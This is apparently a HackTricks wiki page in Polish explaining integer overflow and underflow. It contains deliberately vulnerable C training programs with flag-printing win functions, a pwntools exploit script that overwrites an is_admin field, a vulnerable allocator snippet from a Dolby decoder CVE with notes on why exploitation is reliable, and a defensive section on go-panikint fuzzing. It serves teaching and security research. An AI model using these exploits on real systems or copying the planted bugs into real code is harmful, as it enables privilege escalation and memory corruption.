Integer Overflow

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Sednem integer overflow jest ograniczenie narzucone przez rozmiar typów danych w programowaniu komputerowym oraz przez interpretację danych.

Na przykład, 8-bitowy typ całkowity bez znaku może reprezentować wartości od 0 do 255. Jeśli spróbujesz zapisać wartość 256 w 8-bitowym typie całkowitym bez znaku, nastąpi zawinięcie do 0 z powodu ograniczenia pojemności pamięci. Podobnie, dla 16-bitowego typu całkowitego bez znaku, który może przechowywać wartości od 0 do 65,535, dodanie 1 do 65,535 spowoduje zawinięcie z powrotem do 0.

Co więcej, 8-bitowy typ całkowity ze znakiem może reprezentować wartości od -128 do 127. Dzieje się tak, ponieważ jeden bit służy do reprezentacji znaku (dodatni lub ujemny), pozostawiając 7 bitów do reprezentacji wartości bezwzględnej. Najbardziej ujemna liczba jest reprezentowana jako -128 (binary 10000000), a najbardziej dodatnia jako 127 (binary 01111111).

Max values for common integer types:

TypeSize (bits)Min ValueMax Value
int8_t8-128127
uint8_t80255
int16_t16-32,76832,767
uint16_t16065,535
int32_t32-2,147,483,6482,147,483,647
uint32_t3204,294,967,295
int64_t64-9,223,372,036,854,775,8089,223,372,036,854,775,807
uint64_t64018,446,744,073,709,551,615

Typ short odpowiada int16_t, typ int odpowiada int32_t, a typ long odpowiada int64_t w systemach 64-bitowych.

Maksymalne wartości

Dla potencjalnych web vulnerabilities bardzo istotne jest poznanie maksymalnych obsługiwanych wartości:

fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}

Examples

Pure overflow

Wynik wypisany będzie 0, ponieważ przepełniliśmy char:

#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}

Signed to Unsigned Conversion

Rozważ sytuację, w której liczba całkowita ze znakiem jest odczytywana z danych wejściowych użytkownika, a następnie używana w kontekście traktującym ją jako liczbę całkowitą bez znaku, bez odpowiedniej walidacji:

#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}

W tym przykładzie, jeśli użytkownik wprowadzi liczbę ujemną, zostanie ona zinterpretowana jako duża liczba całkowita bez znaku ze względu na sposób interpretacji wartości binarnych, co może prowadzić do nieoczekiwanego zachowania.

macOS Overflow Example

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 → 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Skompiluj to za pomocą:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()

Przykład Underflow na macOS

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Skompiluj to za pomocą:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c

Allocator alignment rounding wrap → undersized chunk → heap overflow (Dolby UDC case)

Niektóre niestandardowe alokatory zaokrąglają rozmiary alokacji w górę do wyrównania bez ponownego sprawdzania przepełnienia. W Dolby Unified Decoder (Pixel 9, CVE-2025-54957) kontrolowany przez atakującego emdf_payload_size (dekodowany za pomocą nieograniczonej pętli variable_bits(8)) jest przekazywany do ddp_udc_int_evo_malloc:

size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;

Dla 64-bitowych wartości bliskich 0xFFFFFFFFFFFFFFF9, (8 - total_size) % total_size zawija wynik dodawania i powoduje powstanie bardzo małego total_size, mimo że logiczne alloc_size pozostaje ogromne. Wywołujący później zapisuje payload_length bajtów do zwróconego chunka:

buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf();       // writes past tiny chunk
}

Dlaczego eksploatacja jest niezawodna w tym wzorcu:

  • Overflow length control: Bajty pochodzą z readera ograniczonego przez inną wybraną przez atakującego długość (emdf_container_length), więc zapis zatrzymuje się po N bajtach zamiast rozpylać payload_length.
  • Overflow data control: Bajty zapisane poza chunkiem są w całości dostarczone przez atakującego w payloadzie EMDF.
  • Heap determinism: Alokator to per-frame bump-pointer slab bez zwolnień, więc sąsiedztwo uszkodzonych obiektów jest przewidywalne.

Inne przykłady

  • https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html

  • Do przechowywania rozmiaru hasła użyto tylko 1B, więc można wykonać overflow i sprawić, że program uzna długość za 4, podczas gdy faktycznie wynosi 260, aby obejść kontrolę długości

  • https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html

  • Mając kilka liczb, znajdź za pomocą z3 nową liczbę, która pomnożona przez pierwszą da drugą:

(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
  • https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
  • Do przechowywania rozmiaru hasła użyto tylko 1B, więc można wykonać overflow i sprawić, że program uzna długość za 4, podczas gdy faktycznie wynosi 260, aby obejść sprawdzanie długości i nadpisać na stosie następną zmienną lokalną, omijając obie protekcje

Wykrywanie przepełnień całkowitoliczbowych w Go za pomocą go-panikint

Go domyślnie zawija (wraps) wartości całkowite. go-panikint to fork toolchaina Go, który wstrzykuje kontrole przepełnienia SSA, więc obliczenia powodujące wrap od razu wywołują runtime.panicoverflow() (panic + stack trace).

Dlaczego z niego korzystać

  • Umożliwia wykrycie przepełnień/obcięć podczas fuzzing/CI, ponieważ operacje arytmetyczne, które normalnie wrapują, teraz powodują crash.
  • Przydatne w miejscach takich jak paginacja kontrolowana przez użytkownika, offsety, limity, obliczanie rozmiarów lub operacje matematyczne związane z kontrolą dostępu (np. end := offset + limit na uint64 powodujące wrap przy małych wartościach).

Kompilacja i użycie

git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness

Uruchom tę forkowaną binarkę go do testów/fuzzingu, aby ujawnić przepełnienia jako paniki.

Kontrola szumu

  • Kontrole obcinania (rzuty do mniejszych typów całkowitych) mogą być hałaśliwe.
  • Tłumienie zamierzonego przewinięcia (wrap-around) za pomocą filtrów ścieżek źródłowych lub wbudowanych komentarzy // overflow_false_positive / // truncation_false_positive.

Wzorzec z rzeczywistego świata

go-panikint ujawnił przepełnienie paginacji uint64 w Cosmos SDK: end := pageRequest.Offset + pageRequest.Limit przewinęło się poza MaxUint64, zwracając puste wyniki. Instrumentacja zamieniła ciche przewinięcie w panicę, którą fuzzerzy mogli zminimalizować.

ARM64

To nie zmienia się w ARM64 jak możesz zobaczyć w this blog post.

Odniesienia

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks